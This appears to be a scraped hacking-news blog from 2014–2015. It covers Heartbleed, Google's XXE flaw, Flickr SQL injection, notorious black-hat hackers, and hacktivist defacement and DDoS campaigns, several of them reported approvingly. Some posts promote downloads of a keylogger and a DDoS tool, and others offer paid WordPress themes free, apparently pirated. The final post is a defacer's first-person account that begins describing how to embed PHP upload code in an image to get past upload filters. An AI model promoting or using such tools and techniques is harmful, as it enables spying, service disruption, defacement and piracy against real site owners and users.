The Pr0 Hackers

Appie - Android Pentesting Portable Integrated Environment

2015-01-28T23:37:00.002+05:30

Appie is a software package that has been pre-configured to function as an Android Pentesting Environment.It is completely portable and can be carried on USB stick.This is a one stop answer for all the tools needed in Android Application Security Assessment.

Difference between Appie and existing environments ?

Tools contained in Appie are running on host machine instead of running on virtual machine.
Less Space Needed(Only 600MB compared to atleast 8GB of Virual Machine)
As the name suggests it is completely Portable i.e it can be carried on USB Stick or on your own smartphoneand your pentesting environment will go wherever you go without any differences.
Awesome Interface

Which tools are included in Appie ?

Drozer
dex2jar
Androguard
Introspy-Analyzer
Jd-Gui
Android Debug Bridge
Apktool
Sublime Text
Androguard SublimeText Plugin
Eclipse with Android Developer Tools
Owasp GoatDroid Project Configured
Fastboot and sqlite3
Java Runtime Environment and Python Files.With these you don’t even need to have Python or Java Runtime Environment installed on the computer.
Nearly all UNIX commands like ls, cat, chmod, cp, find, git, unzip, mkdir, ssh, openssl, keytool ,jarsigner and many others

Download Appie

TOP 10 Black Hat Hacker and thier story

2014-07-15T17:46:00.000+05:30

To accompany the technological advancements of the computer world and the constant changing definition of a hacker, we thought it was time to look back at ten of the most notorious black hat hackers and the legendary hacks that earned them such a title.

First, it should be known that a black hat hacker is computing slang for a person who engages in illegal or malicious hacking. A white hat hacker is a computer hacker who intends to improve internet security. It is note-worthy that many white hat hackers, such as Steve Jobs of apple, Mark Zuckerberg of Facebook, and even many hackers listed below, were once black hat hackers.

After reading these all tell us in comment who inspired you and who is now your favourite.

10. Kevin Poulsen (Dark Dante)

The notorious ’80s black hat hacker, Kevin Poulsen, gained recognition for his hacking of the telephone lines for LA radio station KIIS-FM, securing himself a place as the 102nd caller and winning a brand new Porsche 944, among other prizes. Law enforcement dubbed Poulsen the “Hannibal Lecter of computer crime.” Poulsen went underground as a fugitive when the FBI began its search for him, but in 1991, he was finally captured.

He pleaded guilty to seven counts of mail, wire and computer fraud, money laundering, obstruction of justice, and for obtaining information on covert businesses run by the FBI. Kevin Poulsen was sentenced to 51 months in prison (4 years and 3 months), which was the longest sentence ever given for hacking at the time. However, since serving time, Poulsen has worked as a journalist and is now a senior editor for Wired News. Poulsen’s most note-worthy article details his work on identifying 744 sex offenders with MySpace profiles.

9. Albert Gonzalez

Cyber-criminal Albert Gonzalez has been accused of masterminding the biggest ATM and credit card theft in history; from 2005 to 2007, he and his cybergroup had allegedly sold more than 170 million card and ATM numbers. Gonzalez’s team used SQL injection techniques to create malware backdoors on several corporate systems in order to launch packet-sniffing (specifically, ARP Spoofing) attacks, allowing him to steal computer data from internal corporate networks. When he was arrested, authorities seized $1.6 million in cash including $1.1 million found in plastic bags placed in a three-foot drum which had been buried in his parents’ backyard. In 2010, Gonzalez was sentenced to 20 years in federal prison.

8. Vladimir Levin

It’s almost like the opening of a James Bond movie: in 1994, while working from his laptop from his Russian apartment in St. Petersburg, Vladimir Levin transferred $10 million from the accounts of Citibank clients to his own accounts around the world.

However, Levin’s career as a hacker was only short lived, with a capture, imprisonment and recovery of all but $400,000 of the original $10 million. During Levin’s 1997 trial in the United States, he was said to have coordinated the first ever internet bank raid. The truth is Levin’s ability to transfer Citibank client funds to his own accounts was possible through stolen account numbers and PINs. Levin’s scam was a simple interception of clients’ calls while recording the punched in account numbers.

7. Robert Tappan Morris

On November 2, 1988, Robert Morris released a worm that took down one-tenth of the Internet, crippling 6,000 plus computer systems. It didn’t take long for the police to track him down. Due in part to the need for social acceptance that seems to be common amongst many young hackers, Morris made the fault of chatting about his worm for months before its release on the Internet. Morris claimed it was just a stunt, and added that he truly regretted causing $15 million worth of damage: the estimated amount of carnage his worm left behind.

Morris was one of the first to be tried and convicted under the Computer Fraud and Abuse Act but only had community service and a fine as his penalty. The defense for such a light sentence was that Morris’ worm didn’t destroy the actual contents of affected computers. Morris now works in the department of Electrical Engineering and Computer Science at Massachusetts Institute of Technology (MIT).

6. Michael Calce (MafiaBoy)

In February of 2000, Michael Calce launched a series of widely known denial-of-service attacks against large commercial websites, including Yahoo!, Amazon.com, Dell, eBay, and CNN. He hacked Yahoo! when it was still the web’s leading search engine and caused it to shutdown for about an hour. Like many hackers, Calce exploited websites primarily for pride and establishing dominance for himself and his cybergroup, TNT. In 2001, the Montreal Youth Court sentenced Calce to eight months of open custody, one year of probation, restricted use of the Internet, and a minimal fine.

5. David Smith

Smith’s fame is due to being the author of the infamous e-mail virus, Melissa. Smith claims that the Melissa virus was never intended to cause harm, but its simple means of propagation (each infected computer sent out multiple infected emails) overloaded computer systems and servers around the world. Smith’s virus takes an unusual turn in that it was originally hidden in a file that contained passwords to 80 well-known pornography websites. The name Melissa was derived from a lap dancer Smith met while on a trip in Florida. Even though over 60,000 email viruses have been discovered, Smith is the only person to go to federal prison in the United States for sending one.

4. Adrian Lamo

Nicknamed “the homeless hacker,” Adrian Lamo used coffee shops, libraries and internet cafés as his locations for hacking. Apart from being the homeless hacker, Lamo is widely-known for breaking into a series of high-profile computer networks, which include The New York Times, Microsoft, Yahoo!, and MCI WorldCom. In 2002, he added his name to the The New York Times’ internal database of expert sources and utilized LexisNexis account to conduct research on high-profile subjects. The Times filed a complaint, and a warrant for Lamo’s arrest was issued, followed by a 15-month investigation by federal prosecutors in New York.

After several days in hiding, he finally surrendered to the US Marshals, and then to the FBI. Lamo was ordered to pay approximately $65,000 in damages and was sentenced to six months house arrest at his parents’ home, with an additional two years of probation. In June 2010, Lamo disclosed the name of Bradley Manning to U.S. Army authorities as the source of the July 12, 2007 Baghdad airstrike video leak to Wikileaks. Lamo is presently working as a threat analyst and donates his time and skills to a Sacramento-based nonprofit organization.

3.George Hotz

The name of the acclaimed jailbreak artist, George Hotz, will forever be associated with the April 2011 PlayStation breach. Being one of the first hackers ever to jailbreak the Sony PlayStation 3, Hotz found himself in the midst of a very relentless, public and messy court battle with Sony – perhaps worsened by Hotz’s public release of his jail breaking methods. In a stated retaliation to Sony’s gap of the unstated rules of jail breaking – never prosecute – the hacker group Anonymous attacked Sony in what would be the dubbed as the most costly security break of all time to date.

Hackers broke into the PlayStation Network and stole personal information of some 77 million users. However, Hotz denied any responsibility for the attack, and added “Running homebrew and exploring security on your devices is cool; hacking into someone else’s server and stealing databases of user info. is not cool.”

2. Jonathan James (c0mrade)

Jonathan James, 16-year-old black hat hacker, became the first juvenile imprisoned for cybercrime in the United States. James gained his notoriety by implementing a series of successful intrusions into various systems. At an amazingly young age of 15, James specialized in hacking high-profile government systems such as NASA and the Department of Defense. He was reported to have stolen software worth over $1.7 million. He also hacked into the Defense Threat Reduction Agency and intercepted over 3,000 highly secretive messages passing to and from the DTRA employees, while collecting many usernames and passwords.
On May 18, 2008, at the age of 25, James committed suicide using a gun. The words in his suicide note provide some insight into this obviously brilliant but troubled youth who thought he would be a scapegoat and blamed for cyber crimes he did not commit: “I have no faith in the ‘justice’ system. Perhaps my actions today, and this letter, will send a stronger message to the public. Either way, I have lost control over this situation, and this is my only way to regain control.”

1. Gary McKinnon

In 2002, an exceptionally odd message appeared on a US Army computer screen: “Your security system is crap,” it read. “I am Solo. I will continue to disrupt at the highest levels.” It was later identified as the work of Scottish systems administrator, Gary McKinnon.

McKinnon suffers from Asperger’s syndrome, which is the least severe form of autism. The symptoms of Asperger’s syndrome certainly match Gary’s actions: that is, highly intelligent with an exceptional understanding of complex systems. Though sufferers often have difficulty reading social cues and acknowledging the impact of their often-obsessive behavior, they tend to be geniuses in one particular subject. For Gary, it was computers.

Gary has been accused of executing the largest ever hack of United States government computer networks — including Army, Air Force, Navy and NASA systems. The court had recommended that McKinnon be apprehended to the United States to face charges of illegally accessing 97 computers, causing a total of $700,000 in damage. Even more interesting are McKinnon’s motives for the large scale hackings, which he claims were in search of information on UFOs. He believed the US government was hiding such information in its military computers.

+ 0. Kevin Mitnick

Kevin David Mitnick (born on August 6, 1963) is an American computer security consultant, author, and hacker. In the late 20th century, he was convicted of various computer- and communications-related crimes. At the time of his arrest, he was the most-wanted computer criminal in the United States. Mitnick gained unauthorized access to his first computer network in 1979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation (DEC) used for developing their RSTS/E operating system software. He broke into DEC’s computer network and copied their software, a crime he was charged with and convicted of in 1988.

According to the U.S. Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. He used cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from some of the country’s largest cellular telephone and computer companies. Mitnick also intercepted and stole computer passwords, altered computer networks, and broke into and read private e-mail.

Now tell us in comment whose story inspired you and who is your favourite.

Nigeria Internet Registration Association Hacked by Leet

2014-04-19T23:45:00.000+05:30

A popular hacker with online handle "Leet" from Pakistan hackers group "Team Madleets" is being over the news headlines of cyber world last year. And once again he had hit back the cyber world with its hack.

This time he had hacked and defaced the official site of Nigeria Internet Registration Association / .NG Domain Registry. Hacker had not defaced the homepage of the site, rather he had put his deface page on the root directory of the site (www.nira.org.ng/1337.html) .

Nigeria Internet Registration Association (www.nira.org.ng) is a site responsible for providing all the high profiles local countries domain for the firms as like Amazon, Microsoft, Godaddy and so on.

On the official Facebook page of Madleets, hacker claims that, All Nigeria Internet Registration Association I.P Address's are in his hand (IP range- 41.222.76.0 - 41.222.79.255) , but he had not defaced the other sited hosted on the server. After seeing the IP in details, the information says that hacker have edited some of the information of the domain (whois.domaintools.com/41.222.79.0).

Leet was the same hacker who have hacked number of high profiled site including sites of Google, Microsoft, AVG etc. Along with this he is the only hacker who have hacked highest number of .NIC domains. Lastly he had also hacked one of the subdomain of Daily Mail.

This is not the first time he had hacked any Domain registrar, earlier also he had hacked number of countries domain registrar such as Montenegro Domain Registrar.

Hacked Site :-http://www.nira.org.ng/1337.htmlMirror :- http://zone-h.com/mirror/id/22234382

We will update the post as we got any updates on this... You can Like us for fast update and notification on your profile or you can also follow us on Twitter.

14 Year Old Dutch girl Arrested for Tweeting a Threat message to American Airlines

2014-04-17T00:38:00.000+05:30

A 14 Year old dutch girl tweeted to American Airlines about terrorism threat. The girl is known as Sarah on twitter. The girl posted:

"hello my name's Ibrahim and I'm from Afghanistan. I'm part of Al Qaida and on June 1st I'm gonna do something really big bye"

American Airlines responded to this teenager:

"Sarah, We take these threats very seriously. Your IP address will be forwarded to security and FBI."

Then the Teenager starts to apologize:

"omfg I was kidding"

"I'm so sorry I'm scared now"

"I was joking and it was my friend not me, take her IP address not mine"

"I was kidding pls don't I'm just a girl pls"

"and I'm not from Afghanistan"

"I never did anything wrong in my love"

"pls save my life"

It is reported that the girl was arrested by the Dutch police. It was interesting to note that she got thousands of followers before her account was suspended during this prank.

Israeli Hacker Reportedly Exposes ‘Anonymous’ Members Behind #OpIsrael Cyberattack

2014-04-15T05:19:00.000+05:30

An Israeli hacker calling himself “Buddhax”has reportedly exposed some of the participants of an Anonymous-backed cyberattack that hit a number of Israeli websites this week, Haaretz reported.

Posting on the Israeli Elite Force Facebook page, “Buddhax” linked to a Dropbox document with names, IP addresses, locations, and photos — many of which apparently came right off the ‘Anonymous’ members’ personal webcams.

“Im sure Anonymous ‘hackers’ will think twice next time before they trying [sic] attack Israel,” Buddhax wrote in the document. “DDoS [distributed denial-of-service] & Deface small sites are not hacking. Im not a big hacker too…But im good enough to expose you.”

In addition to gaining access to the machines of 16 participants, Buddhax alerted them with a message popup which said, “Next time do not participate in OPIsrael. We know who you are. We know where you are. Hail Israel,” according to Haaretz.

From Israel Today:

The anti-Israel hackers “are good at talking and small hacks, but we aren’t dealing here with the global Anonymous,” said the Israeli, explaining that “Anonymous Palestine” is primarily made up of small groups of Arab and other anti-Israel hackers who unilaterally decided to use the name “Anonymous.”

Most of the participants were found in Malaysia and Indonesia, with others in Portugal, the U.K., Italy, Finland, and Saudi Arabia, Israel’s Channel 2 reported.

The attack known as #OpIsrael was a coordinated attack against Israeli websites on Apr. 7, resulting in a few government and private sites being brought down, J Weekly reported. While some members of the Knesset had email addresses and passwords exposed, the country’s security agency reported the attacks were mostly minor in nature, according to JPost.

“April 2014 will be a month to remember for the Israeli defense forces and internet security forces,” Anonymous said in a video release a month before the attack. “We will strike any and all websites that we deem to be in Israeli Cyberspace in retaliation for the mistreating of people in Gaza and other areas.”

This year’s attack – the second time for #OpIsrael — wasn’t nearly as damaging as in 2013, when hackers took down a large number of Israeli websites, in addition to publishing credit card data and emails from a business reportedly doing business with the Israeli military.

It’s worth noting this isn’t the first time IEF has exposed members of Anonymous. Last year, the group posted photos, locations, and IP addresses of people the group said were behind an attack called “OpIsrael Reloaded,” according to Times of Israel.

Facebook Censorship: India is on the Top of the List for content Removal Requests

2014-04-15T05:06:00.001+05:30

Recently Facebook Revealed Global Government Requests Report last week and now another report has been stated by Facebook. According to this new report Facebook has got higher number of request report from India. Indian Government Officials and the Indian Computer Emergency Response Team (ICERT) had made a too many content removal request for post which were violating laws like criticizing a religion or the state.

Facebook revealed India made the highest requests for restricting content, followed by Turkey (2014),Pakistan (162), Israel (113), Germany (84) and France (80) in its second Government Requests Report.

The report also states that India made the second largest number of user requests at 3,598 just after the US, which made 12,598 user requests in the second half of 2013. Overall Facebook had received over 28,000 government data requests during the July-December 2013 period. After US and India, most requests received from UK (1,906 requests), Italy (1,699), Germany (1,687) and France (1,661).

Regarding the blocking of the content Facebook say's

"We restricted access in India to a number of pieces of content reported primarily by law enforcement officials and the ICERT under local laws prohibiting criticism of a religion or the state."
"Requests are scrutinized to determine if the specified content does indeed violate local laws. If, after a thorough legal analysis, we determine that the content appears to violate local law, then we make it unavailable in the relevant country or territory," they further added.

According with stats Facebook have about 100 million of users from India, which is in second position after US 182 million.

According to last year Transparency Report from Google published on December, stats that content removal requests from India have grown by over 90 percent in July-December 2013, from over a year ago in the July-December 2012 period. Google says that it received over 2,540 requests from the Indian government and courts for content removal from July-December 2013.

How To Hide Your House From Google Maps

2014-04-14T23:19:00.001+05:30

As it turns out, there is a way to prevent strangers from seeing your home online through Google Maps.

Many Americans don’t realize it, but Google actually has vehicles driving around the United States taking what are called “street view” pictures. If your home can be seen from a public street, there’s a good chance it’s on Google Maps.

How Google Maps Threatens Your Privacy

If want to find out whether your home is on Google Maps, simply go to Google Maps and type in your address. When the map appears you might see a small stick figure on the left side of the screen. Drag that stick figure to your street, and your house – and others – will appear. (Note: If the street is not highlighted in blue on the map, then your house and street have not been photographed.)

This can be a major problem for privacy because the Google picture can show strangers a great deal of your home and your life. When Fox and Friends contributor Kurt “the Cyber Guy” Knutsson went to Google Maps he discovered something bothersome — the inside of his garage and its contents, because he had left the garage door open the day the Google car drove down his road.

That’s not all that Knutson saw on Google. Google had taken a picture of his cars.

“You could see our license plates plain as day,” Knutson said. Knutson’s discovery indicates that details of your private life, and information that could harm you, can show up on Google Maps. Google claims it blurs out license plates and individuals before it posts pictures to street view, although it’s obvious that doesn’t always happen.

How to Hide Your House

The bad news is that there is no way to keep your address off of Google Maps. The good news is that you can get Google to blur out your property so Google Maps users will not see it. Here’s the process which is outlined at Google.

How to get your property blurred:

Go to Google Maps and type in your address
Bring up the street view of your property
Look to the bottom right hand corner of the screen you should see an Icon Labeled: “report a problem.”
Click on “report a problem.”
You will get a page labeled “report inappropriate street view.”
Look for the words “Privacy Concerns” and click on them.
If you want your house blurred, click on “my house.” Then choose the option: “I have a picture of my house and would like it blurred.”
Adjust the image and show Google which part of the photo needs blurred.
Type the verification code at the bottom of the page into the box provided and click submit.
Check back in a few days to see if the image has been blurred.

You can also get license plates and faces blurred. For example, if you want a picture of your business on Google Maps but don’t want the license plate number of your vehicle parked in front on Google, you can get that blurred. You can also get your car blurred out as well if you want.

Google wants you to report license plate numbers and faces that aren’t blurred so it can blur them out. This process does seem to work, and it is free.

Google is Watching You

The amount of information Google collects through Google Maps and posts online is frightening. Not every address is included in Google Street View, though. Addresses in many rural areas are not on street view. Although, chances are that your home is on it if you live in a suburban or urban area.

Flickr have SQL Injection and Remote Code Execution Flaws vuln.

2014-04-14T19:07:00.000+05:30

Now Security Researcher are on the fire mood, I think. Last week was one of the vulnerable week for the internet. As researcher have found Heartbleed vulnerability that puts almost three-fourth (3/4) of the worlds websites in a vulnerable side. After this Researcher form Detectify have found the critical vulnerability on the Google products that leads to read the 'etc/passwd' and 'etc/host' file of the Google Server.

Now once again another biggest photo sharing site Flickr (owned by Yahoo.Inc) have suffered from sever vulnerability. A security researcher Ibrahim Raafat from Egypt have found the SQL injection vulnerability on the Flickr site.

Raafat claims that he has found two parameters ( page_id and items ) vulnerable to Blind SQL injection and one (Order_id) vulnerable to direct SQL injection. This vulnerable allow the attacker to read the Flickr database. Further more a successful SQL exploitation can allow attacker to gain database and MYSQL login credentials, by injecting the SQL query.

Further more Researcher explains that, SQL injection vulnerability on Flickr allows the attacker to produce its attack to Remote Code Execution on the server and using load_file(“/etc/passwd“) function he was successfully managed to read the content from the sensitive files on the Flickr server, as shown below:

Raafat have also shows the Video demonstration that the vulnerability allows to write new files on the server that let him upload a custom 'code execution shell'.

[tool] Syslogger

2014-04-14T01:52:00.000+05:30

AMY H4CK3R was here

you all know guyz is a best powerful keylogger thats why i m sharing this tool with you guys

its a very nice keylogger ever

Download

Billions of Smartphone Users affected by Heartbleed Vulnerability

2014-04-14T00:59:00.000+05:30

Heartbleed has left a worst impression worldwide affecting millions of websites and is also supposed to put millions of Smartphones and tablets users at a great risk.

Heartbleed is a critical bug (CVE-2014-0160) in the popular OpenSSL cryptographic software library, that actually resides in the OpenSSL's implementation of the TLS/DTLS heartbeat extension, which allows attackers to read portions of the affected server’s memory, potentially revealing users data such as usernames, passwords, and credit card numbers, that the server did not intend to reveal.

OpenSSL is a widely-used cryptographic library which implements the SSL and TLS protocol and protects communications on the Internet, and mostly every websites use either SSL or TLS, even the Apache web server that powers almost half of the websites over internet utilizes OpenSSL.

But to assume that the users using desktop browsers to visit websites are vulnerable to the Heartbleed bug, will be wrong. Despite 40-60 billion active Smartphone applications may be sharing some of those same servers or connect to their own group of servers that may also be compromised.

ANDROID [STATUS: NOW PATCHED]

Google wrote in an update on its Online Security blog on Wednesday, emphasizing that Android was not vulnerable to the Heartbleed bug, except for a very specific version and can you guess that so called specific version??

Android 4.1.1 Jelly Bean, the one which makes up the majority of Android devices around the world, and which relies on the vulnerable version of OpenSSL.

Google didn’t reveal the actual figure that are vulnerable to the bug, but according to the latest dashboard released by Google, it is estimated that around 34.4% of the Android devices in use today are running the Android 4.1.x version.

Even last September Google announced that it had activated one billion devices. This means that the minimal number is likely to be in the millions. So, one can imagine how many Smartphones and tablets were at risk.

Well, Google has released the patches for Android 4.1.1 which is being distributed among the Android partners.

APPLE [STATUS: NOT AFFECTED]

Apple users can be relaxed knowing that their devices running iOS and OS X are not affected by the most critical security flaw, Heartbleed.

"Apple takes security very seriously. IOS and OS X never incorporated the vulnerable software and key web-based services were not affected," Apple told Re/code.

Instead using OpenSSL, Apple relies on different SSL/TLS libraries called Secure Transport, which was hit by its own very serious bug in February outcropping the possibility for man-in-the-middle (MitM) attacks— though it wasn't as dangerous as the recent OpenSSL Heartbleed security Flaw.

But still Apple users were not exempted completely, as the users using BBM for private messages on iOS might have been vulnerable to this flaw.

BLACKBERRY [STATUS: VULNERABLE]

Blackberry confirmed that some of its products, including Secure Work Space for iOS and Android, and BlackBerry Link for Windows and Mac OS and even BBM for iOS and Android were vulnerable to the Heartbleed security flaw. The figure of affected users is not least, as about 80 million people use BBM service.

They have also assured that BlackBerry Smartphones and tablets, BlackBerry Enterprise Server 5, BlackBerry Enterprise Service 10, and the BlackBerry Infrastructure are not affected by the flaw and are fully protected.

Microsoft is agree to pay $100 for users to upgrade to the newer version of their Windows OS.

2014-04-14T00:00:00.000+05:30

Microsoft is agree to pay $100 for users to upgrade to the newer version of their Windows OS. The 13-year-old operating system is going to Shutdown on 8th April this year. Then Microsoft will stop issuing fix and updates to bugs and security flaws in the Windows XP.

Microsoft, willing to give a store credit of $100 to those who are going to buy a new Windows 8 computer, ranging from $600 to $2300.

Currently Microsoft Windows XP OS holds about 30% of market share and Windows 7 has about 50% of market share. The latest OS of Microsoft, Windows 8 and 8.1, market share is equal to Mac OS X. The $100 credit, which we think is just a part of marketing plan, is only available when users upgrade to new Windows machines.

The end of Microsoft Windows XP will expose users to future threats, and it is being mostly used by the banks and government agencies across the world. Most of ATM machines, have been installed with Windows XP running on them, at this time if someone have a tricky exploit he can cause a loss to the property.

Windows XP is one of the most infected and popular OS of all time, in the past and now it has always been in the effect of malware programs and computer viruses. The one & only choice left now is to upgrade to the newer versions of the Windows OS. Organizations and banks may go for the Windows 7, but why not for the Windows 8 that's the question. The OS is latest from the Microsoft and would not end for a long period of time.

Another options is to choose for the open source technologies. The transformation is not going to be easy , many companies are looking forward to have it in their systems. Linux based OS are free to use but does require Experienced persons to maintain it.

Heartbleed-Checker Add-ons Released for FREE.

2014-04-13T22:13:00.000+05:30

Browser Add-ons Released for Firefox and Chrome that will scan websites for Heartbleed Vulnerability.

On Friday a developer released a free add-on for Mozilla Firefox that checks websites for vulnerability to the massive Heartbleed Bug. Tom Brennan, Maker of ProactiveRISK, says he wrote the tool after getting alot of requests from family and friends about how to protect themselves from websites that are vulnerable to Heartbleed. All of them just wanted their browser to warn them, just like a radar detector.

The browser add-on provides different color-coding warnings for websites, Red means DANGER the site is vulnerable to Heartbleed. Green means it's safe. There is also a yellow warning for sites that may be vulnerable.

Like a traffic Signal lights on the Internet, it is the users' responsibility to be proactive about risk in addition to the sysadmin defender working hard every day to put out the fire of the day, Founder says.

The code is open-source and a donation to the community to stay safe, Further he says. And maybe it will help to stop the phone calls from users asking for suggestions to something they don't control.

A similar tool for Chrome was also released on Thursday by a famous developer Jamie Hoyle. The new add-on named Chromebleed Checker add-in for the Chrome browser also warns users of Heartbleed-vulnerable sites.

Whilst some Big servers have been patched already, But many remain that have not been patched. Chromebleed uses a web application developed by Filippo Valsorda and checks the URL of the page you have just loaded, the Chromebleed description says. If they URL is affected by Heartbleed Vulnerability, then a Chrome notification will be Appeared.

Comments Please. What's Your Experience with These Add-ons ?

MANY FILGHTS WERE CANCELED DUE TO THE DDOS ATTACK BY ANONGHOST and ANONSEC HACKERS(OPISRAEL)

2014-04-13T11:05:00.000+05:30

As the opisrael is continued on second day,as anonghost and anonsec hackers attacked on airport websites which made cancellations many flights for several hours though some flights were delayed,and radars of airport were also jammed,which makes airports ideal place.we seems this is a largest cyber war on israeli cyberspace.Almost 80% websites are attacked by anonghost and anonsec hackers(opisrael 2014).as they said this war will ended on 10th of april 2014 according to the world time...

#OP Kashmir Reborn (operation) Launch By Pakistan Hax0rs Crew On 20th April 2014

2014-04-13T11:00:00.005+05:30

New operation is launched by pakistan haxors crew on 20th april 2014 namely "#OPKASHMIR REBORN",they declared cyberwar on Indian cyberspace from 20th april 2014 to 1st May 2014.THIS operation DEMANDS FREEDOM OF KASHMIR FROM INDIA,as they also claim"TO STOP KILLINGS OF INNOCENT PEOLPLE IN KASHMIR and hackers want "TO FREE KASHMIR".thats why this operation is held on 20th april 2014.Many pakistani hackers will be participating in this cyberwar,as indian cyberspace have been attacked many times before mainly by "kashmir cyber army",they had many operations on india like #opindia...which was held on 26jan 2014.
Kashmir Cyber Army is also participating in this Operations.P.H.C have hacked some the indian websites like http://sunlite.tv/ , as or http://sunlitetv.com/ this website is currently defaced and

they left message on defaced website:

What we Ask From India All the time is the only Kashmir , Most of the times we dnt act like that but this is the only way left .
Why indian army is killing innocent's in kashmir ? We Just Ask you these simple Question's and the indian gov got no answer's..... why?

This is the only way left to protest for us For what you are scared of ?
India will loose the beauty of kashmir ? How many muslim brother's being killed on daily basis did u ever thought ?

a 16 year's girl raped and killed a boy shot in the head for what ?
because they are protesters ? All we ask is just the Answer of these Questions Nothing Personal ... you will pay for these sins one day

screenshot:

DrSHA6H Hacked 16+ Israeli Websites Under OpIsrael

2014-04-12T23:36:00.000+05:30

On Monday, the famous Syrian DrSHA6H hacker hacked and defaced more than 16 website of Israel, Including some high profile websites.

Screenshot of deface page uploaded by Israeli DRSHA6H Website

The hack Was a share of AnonGhost 's Operation Israel, in deface messages DrSHA6H Delivered His post about Freedom of Palestine.

DrSHA6H managed to deface some high profile website Including the website of Jerusalem's Nature Museum's "www.muzteva.org.il" Haim Israeli School "www.his.org.il" and the Israeli Yeahoni Web Store "www.yeahoni.net" .

Hacked Sites and Mirror:

The Complete list of hacked websites along with mirrors is posted on Pastebin click here to see

At the time of publishing this article Many websites are still displaying deface page.

Anonghost Ddoser v2.0

2014-04-12T22:48:00.000+05:30

H4CK3R $P1D3R was here

you all know guyz Anon-ghost Ddoser is a best powerful Ddoser thats why i m sharing this tool with you guys

its a very powerfull Ddoser ever

Download

German Developer responsible for HeartBleed Bug in OpenSSL

2014-04-12T15:37:00.003+05:30

We have already read so many articles on Heartbleed, one of the biggest iNternet threat that recently came across by a team of security engineers at Codenomicon, while improving the SafeGuard feature in Codenomicon's Defensics security testing tools.

The story has taken every media attention across the World, as the bug opened doors for the cyber criminals to extract sensitive data from the server's memory and almost every major site have been affected by it.

UNINTENTIONAL BIRTH OF HEARTBLEED

More than two years ago, German programmer Robin Seggelmann introduced a new feature called "Heartbeat" in the most secured open source encryption protocol, OpenSSL, which is used by several social networks, search engines, banks and other websites to enable secure connections while transmitting data. But introducing heartbeat feature cost him dearly, as here the most critical bug resides.

Dr. Seggelmann allegedly was just trying to improve OpenSSL and working on an update and while submitting the updates enabling heartbeat feature, an “oversight” led to an error that unintentionally created the “Heartbleed” vulnerability, according to The Guardian.

Heartbleed is the encryption flaw that left large number of cryptographic keys and private data such as usernames, passwords, and credit card numbers, from the most important sites and services on the Internet open for hackers, forcing some security researchers to warn internet users against using even their everyday sites for the next few days until the problem is fully solved.

Robin Seggelmann

The developer is responsible for what may be the biggest Internet vulnerability in recent history, but it was just a single programming error in the new feature as he didn't notice the missing validation and unfortunately the same skipped by the code reviewer as well before introducing it in the new released version.

"I am responsible for the error," Robin Seggelmann told Guardian, "because I wrote the code and missed the necessary validation by an oversight. Unfortunately, this mistake also slipped through the review process and therefore made its way into the released version."

Robin Seggelmann submitted the code of OpenSSL with the heartbeat feature in an update on New Year's Eve, 2011. This means the most critical threat has been around for more than two years unnoticed.

NSA - A GAME CHANGER OR NOT?

Dr Seggelmann said it was obvious to assume that the bug was intentionally inserted, especially after various revelations by Edward Snowden of the surveillance activities carried out by the US National Security Agency (NSA) and other countries intelligence agencies.

"But in this case, it was a simple programming error in a new feature, which unfortunately occurred in a security relevant area," he said. "It was not intended at all, especially since I have previously fixed OpenSSL bugs myself, and was trying to contribute to the project."

Despite denying the code he put intentionally, he said it could be entirely possible that the government intelligence agencies had been making use of this critical flaw over the past two years.

"It is a possibility, and it's always better to assume the worst than best case in security matters, but since I didn't know [about] the bug until it was released and [I am] not affiliated with any agency, I can only speculate," he told The Sydney Morning Herald.

Impreza v.1.0.5 - Themeforest Retina Responsive WordPress Theme

2014-04-12T14:56:00.001+05:30

Impreza is modern professional and flexible fully responsive retina-ready WordPress theme, developed with great attention to details. Theme can be used for any type of website: business, corporate, portfolio, products, marketing, etc.

Free Impreza v.1.0.5 - Themeforest Retina Responsive WordPress Theme

Download Impreza v.1.0.5 - Themeforest Retina Responsive WordPress Theme

Download - Demo

Newspaper v3.4 - Themeforest Wordpress Theme

2014-04-12T14:53:00.006+05:30

Newspaper is a wordpress theme that lets you write articles and blog posts with ease. We offer great support and friendly help! Newspaper template is excellent for news, newspaper, magazine, publishing and review sites. It also supports videos from youtube and a rating system. We have the theme integrated with bbpress forum, buddypress, buddy press, woocommerce. It uses the best clean seo practices, it’s fast, simple and easy to use. We also support responsive google ads, adsense and rtl .

Free Newspaper v3.4 - Themeforest Wordpress Theme
Download Newspaper v3.4 - Themeforest Wordpress Theme

Download - Demo

Cinematix v1.1.7 - Themeforest BuddyPress Theme

2014-04-12T14:45:00.001+05:30

Cinematix theme is integrated with BuddyPress & bbPress which lets users register on your site and start creating profiles, posting messages, making connections, creating and interacting in groups and much more. A social network in a box, build a social network for your company, school, sports team or niche community.

Download - Demo

Strata - Themeforest Professional Multi-Purpose Theme

2014-04-12T14:42:00.000+05:30

STRATA is a professional multi-purpose WordPress theme. Amazing responsive full-screen or fixed height image & video slider with parallax and fade in/out elements animations. Each page can have it’s own custom header with dark or light color schema, different height and background image (parallax, prallax with new zoom out effect and responsive) with title text on left or right, with subtitle on/off and breadcrumbs on/off.
Download Strata - Themeforest Professional Multi-Purpose Theme
Free Strata - Themeforest Professional Multi-Purpose Theme

Download - Demo

Google got Hacked by XXE Vulnerability

2014-04-12T12:07:00.000+05:30

It is very true that Bug Bounty Program that was earlier introduced by the Google and followed by other internet giants Facebook and Microsoft had really helped the organisation much better. With the scheme of giving reward for the unique security loop holes report had really helped the security researcher and a organisation too. This motivate the hackers/researcher to expand there knowledge and also making the existence of "Ethical" word in the Cyber Security field.

A Security researchers and Co-Founders of Detectify have discovered a critical security vulnerability in Google that allowed them to access Internal servers. As per the explanation on the vulnerability researcher stats that the vulnerability exist on the Google Toolbar button Gallery. Toolbar gallery page allows the users to customize their toolbar with buttons. The page also allows the users to create their own buttons by uploading the XML file.

This function leads the attackers to execute XML External Entity vulnerability by sending the own crafted XML file. After sending the crafted XML file, researcher is able to read the internal files stored in the Google product server. By exploiting this vulnerability further, researcher managed to read the "etc/passwd" and "etc/host files on the server.

Further more attacker can also do many task as like local file access, SSRF and Remote File includes, Denial of Service and possible Remote Code Execution. For this critical report Google rewarded researcher with $10,000.

CentOS Shell Upload 0day

2014-04-12T04:34:00.006+05:30

Assalamu Alaikum, HellO and Hi Everyone !
Few months ago, you might have seen that I had defaced NIC.me (.ME Official Domain Registry)
I was just checking for some bugs and I found an image upload option.
I tried temper data but it failed.
I then decided to add a php upload code into an image that I had on my desktop.
I simply right clicked an image that I had on my desktop and edited it with notepad++. .
